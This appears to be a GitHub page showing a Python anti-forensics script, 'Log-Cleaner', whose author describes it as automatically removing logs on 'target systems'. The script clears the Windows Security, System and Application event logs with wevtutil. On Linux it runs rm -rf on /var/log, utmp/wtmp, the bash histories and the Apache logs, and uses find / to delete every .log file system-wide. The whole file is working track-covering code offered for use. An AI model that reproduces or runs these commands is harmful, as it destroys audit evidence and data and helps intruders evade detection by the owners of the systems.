-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathLog-Cleaner.py
More file actions
107 lines (88 loc) · 3.86 KB
/
Log-Cleaner.py
File metadata and controls
107 lines (88 loc) · 3.86 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
#---------------------
author = 'C4ssif3r[Mr-Expl0it] MJi A.S.P.I.R.I.N'
telegram_ID = '@AboutMji'
website = "https://moojia.github.io"
about = ''' this script removing automatically LOG[s] in the your target systems
only run this script with python 3.x and wait for cleaning LOG[s] ;) '''
#---------------------
# check and installing requirements ---
#---------------------
try:
from os import getuid, system
from subprocess import check_output
from colorama import init, Fore
import sys
from time import sleep
except:
print ('[!] please installing libs on requirements.txt file \n with command ~> pip install -r requirements.txt [ if pip not worked try with pip3 ]')
sys.exit()
#------------------
init()
def banner():
print (Fore.GREEN+'''
__ __ __
/ / | / / /
( ( |( __ ( ( ___ ___ ___ ___ ___
| )| )| ) | )| |___)| )| )|___)| )
|__/ |__/ |__/ |__/ | |__ |__/|| / |__ |
\n''')
sleep(2.0)
print (Fore.RED+' [#]'+Fore.WHITE+'AUTHOR : Mojia')
sleep(1.5)
print (Fore.RED+' [#]'+Fore.WHITE+'Automaticallu clearing logs')
sleep(1.3)
print (Fore.RED+' [#]'+Fore.WHITE+'TELEGRAM : @AboutMji')
sleep(1.0)
print (Fore.RED+' [#]'+Fore.WHITE+'website : moojia.github.io\n\n\n')
sleep(2.0)
banner()
def windows():
print(Fore.GREEN+"[+]"+Fore.YELLOW+"Clearing windows logs [ verbose ]")
eventlogs = ['Security' , 'Application' , 'System' , 'Setup', 'Internet Explorer']
for event in eventlogs:
try:
check_output(["wevtutil.exe" , "cl" , event.strip("\r")])
print(Fore.CYAN+"[+]"+Fore.GREEN+"{} Logs Deleted Successfully .\n".format(event))
except:
print(Fore.RED+"[-]"+Fore.YELLOW+"{} Logs not Deleted Successfully .\n".format(event))
def linux():
print(Fore.GREEN+"[+]"+Fore.YELLOW+"Clearing Linux logs [ no verbose ]"+Fore.WHITE+"")
a1 = system('rm -rf /tmp/logs')
a2 = system('rm -rf $HISTFILE')
a3 = system('rm -rf /root/.ksh_history')
a4 = system('rm -rf /root/.bash_history')
ox = system('rm -rf /root/.bash_logout')
a5 = system('rm -rf /root/.bash_logout')
a6 = system('rm -rf /usr/local/apache/logs')
a7 = system('rm -rf /usr/local/apache/log')
a8 = system('rm -rf /var/apache/logs')
a9 = system('rm -rf /var/apache/log')
a0 = system('rm -rf /var/run/utmp')
a09 = system('rm -rf /var/logs')
s1 = system('rm -rf /var/log')
s2 = system('rm -rf /var/adm')
s3 = system('rm -rf /etc/wtmp')
s4 = system('rm -rf /etc/utmp')
s5 = system('find / -name *.bash_history -exec rm -rf {} \;')
s6 = system('find / -name *.bash_logout -exec rm -rf {} \;')
s7 = system('find / -name "log" -exec rm -rf {} \;')
s8 = system('find / -name *.log -exec rm -rf {} \;')
sys_i = getuid()
if sys_i != 0:
print (Fore.RED+'\n[-]'+Fore.YELLOW+' WARNiNG '+Fore.WHITE+' plz try with root user')
else:
print (Fore.CYAN+'\n[+]'+Fore.GREEN+' WARNiNG '+Fore.WHITE+' logs Deleted Succesess .\n')
os_name = sys.platform
os_name_input = input (Fore.WHITE+"Plz Enter your platform ['linux'] or ['windows'] ~>"+Fore.YELLOW+" ")
if os_name_input == 'linux' or "linux" in os_name:
print (Fore.GREEN+'[!] '+Fore.WHITE+'Your system is {} and you selected {} platform\n'.format(os_name,os_name_input))
linux()
print(Fore.WHITE+' ')
if os_name_input == 'windows' or "win" in os_name:
print (Fore.GREEN+'[!] '+Fore.WHITE+'Your system is {} and you selected {} platform\n'.format(os_name,os_name_input))
windows()
print(Fore.WHITE+' ')
else:
print (Fore.RED+'\n[x]'+Fore.YELLOW+' [error by user] '+Fore.WHITE+'tool only support "linux" and "windows" platform[s] enter linux or windows not other words [!] ')
sys.exit()